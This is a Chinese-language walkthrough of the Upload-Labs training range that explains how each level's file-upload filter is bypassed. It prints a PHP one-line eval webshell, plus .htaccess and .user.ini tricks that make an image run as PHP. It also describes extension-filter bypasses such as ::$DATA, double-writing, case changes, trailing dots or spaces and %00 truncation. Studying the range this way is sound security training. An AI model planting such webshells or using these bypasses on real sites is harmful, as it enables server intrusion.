Upload-Labs
- 索引
- 前言
- Pass-01
- 题解
- Pass-02
- 题解
- 总结
- Pass-03
- 题解
- 总结
- Pass-04
- 题解
- Pass-05
- 题解
- 总结
- Pass-06
- 题解
- 总结
- Pass-07
- 题解
- 总结
- Pass-08
- 题解
- 总结
- Pass-09
- 题解
- Pass-10
- 题解
- Pass-11
- 题解
- Pass-12
- 题解
- 总结
- Pass-13
- 题解
靶场部署在 VMware - Win7。
靶场地址:https://github.com/c0ny1/upload-labs
部分题目可能需要白盒审计。
索引
- Pass-01:前端绕过。
- Pass-02:MIME-Type 绕过。
- Pass-03:黑名单绕过之
::$DATA
与双写绕过。 - Pass-04:.htaccess 利用。
- Pass-05:.user.ini 利用。
- Pass-06:黑名单绕过之大小写绕过。
- Pass-07:黑名单绕过之空格绕过。
- Pass-08:黑名单绕过之点【.】绕过。
- Pass-09:黑名单绕过之
::$DATA
绕过。 - Pass-10:黑名单绕过之点空格点绕过。
- Pass-11:黑名单绕过之双写绕过。
- Pass-12:白名单绕过之
%00
截断绕过,GET 方式。 - Pass-13:白名单绕过之
%00
截断绕过,POST 方式。
前言
编写一句话木马并更改后缀为 .jpg。之后的实验都基于这个木马。
<?php
echo 'Hello!';
@eval($_POST['hello']);
?>
相关文章:
《一句话木马@eval($_POST[“cmd“]);是什么意思》:
https://blog.csdn.net/qq_62708558/article/details/123030828
Pass-01
题解
任何前端验证都是纸老虎。
上传时使用 burp 拦截,并将文件后缀修改回 .php。
上传成功,右键查看文件地址。
木马已成功执行。
尝试蚁剑连接,成功。
Pass-02
题解
上传文件并进行后缀与 Content-Type 绕过。
上传成功。
总结
MIME-Type,资源媒体类型。
MIME(Multipurpose Internet Mail Extensions),多功能网际邮件扩充协议。
- MIME 设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。
- 当 MIME 被 HTTP 协议支持后,使 HTTP 传输的不仅是普通的文本而变得丰富多彩。
- 访问网页获得一个资源后,浏览器通过 MIME Type(媒体资源类型)标识资源类型,更准确的说,是通过 Content-Type 标识。
- 例如:Content-Type: text/html
- 通常只有广泛应用的格式才会获得一个 MIME Type,如果是自定义的格式,一般只能以 application/x- 开头。
常见的 MIME 类型:
- 超文本标记语言文本(.html、.htm):
text/html - 普通文本(.txt):
text/plain - RTF 文本(.rtf):
application/rtf - GIF 图形(.gif):
image/gif - JPEG 图形(.jpeg、.jpg):
image/jpeg - au 声音文件(.au):
audio/basic - MIDI 音乐文件(.mid、.midi):
audio/midi, audio/x-midi - RealAudio音乐文件(.ra、.ram):
audio/x-pn-realaudio - MPEG 文件(.mpg, .mpeg):
video/mpeg - AVI 文件(.avi):
video/x-msvideo - GZIP 文件(.gz):
application/x-gzip - TAR 文件(.tar):
application/x-tar
Pass-03
题解
之前的方法均失败。不过仍然是黑名单过滤。
由于靶场部署在 Windows,利用 Windows 保存文件的特性,尝试将后缀名改为 .php::$DATA。
上传成功但无法访问。
猜测后端过滤了 ::$DATA,尝试以下后缀名(双写绕过):
.php::$D::$DATAATA
上传成功。
总结
::$DATA
是一个与 NTFS 文件系统相关的特殊数据流的命名约定,用于存储与文件关联的额外数据。
NTFS(New Technology File System)是 Windows 上常见的文件系统,支持文件的元数据和附加数据存储。
Windows 上,如果文件名 + ::$DATA
,系统会把 ::$DATA
之后的数据当成文件流处理,且保持 ::$DATA
之前的文件名。
例如:文件名为:phpinfo.php::$DATA
,Windows 会自动去掉 ::$DATA
将文件保存为 phpinfo.php。
除此以外,服务端对不合法的后缀名进行替换为空是常用手段。
Pass-04
题解
这一题使用 .htaccess 文件进行黑名单绕过。但尝试了很多版本与配置都没办法复现。这里只记录大致过程。
创建一个 .htaccess 文件并写入以下内容。
<FilesMatch "520.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
先上传 .htaccess 文件,再上传 jpg 格式后门。即可过关。
但是失败了。可能实现条件比较苛刻。
这里附上几篇参考文章:
《文件上传-uploadlab通关手册》:
https://blog.csdn.net/qq_51153463/article/details/124547943
《upload-labs通关总结|那些年踩过的坑》:
https://blog.csdn.net/m0_56691564/article/details/127614557
Pass-05
题解
已知在靶场服务器的上传文件保存目录下存在 readme.php 文件。
先上传如下 .user.ini 文件。
auto_prepend_file=520.jpg
再上传木马,之后访问 readme.php 文件即可。
总结
参考文章:
《【文件上传漏洞】user.ini留后门》:
https://blog.csdn.net/weixin_53146913/article/details/124840296
《文件上传:.user.ini的妙用》:
https://blog.csdn.net/weixin_52635170/article/details/126962920
Pass-06
题解
上传检测基于黑名单,尝试使用大小写绕过。抓包修改,后缀名部分字母大写。
之后复制链接访问即可。
总结
对于文件名,Windows 系统对大小写不敏感。Linux 系统默认对大小写敏感,如需修改则需要特殊配置。
Pass-07
题解
使用空格绕过。
抓包修改后缀名,在文件名最后加上一个空格。
之后访问即可。
总结
Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。
如果这样命名,系统在保存时会默认去除末尾的空格和点。
Pass-08
题解
使用点绕过。在文件名最后加上一个点。
上传成功。
总结
Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。
如果这样命名,系统在保存时会默认去除末尾的空格和点。
Pass-09
题解
原理与 Pass-03 相同,::$DATA
绕过。
Pass-10
题解
点空格点绕过(利用验证规则不完善)。
Pass-11
题解
双写绕过。
服务端对不合法的后缀名进行替换为空是常用手段。
Pass-12
题解
这题通过代码审计可以发现发现 $img_path
变量可控。
使用 %00
截断,让后面的代码不执行。
总结
%00
截断:
- 利用手动添加字符串标识符的方式来将后面的内容进行截断。
- PHP <= 5.3.4。
- php.ini 文件中 magic_quotes_gpc = Off。
Pass-13
题解
与 Pass-12 一样,$img_path
变量依旧可控,但是使用 POST 传送。
POST 传送的数据不需要编码,也就是说数据不会自动解码,此时需要使用 burp 解码。
为山者,基于一篑之土,以成千丈之峭;凿井者,起于三寸之坎,以就万仞之深。
——《刘子》(北齐)刘子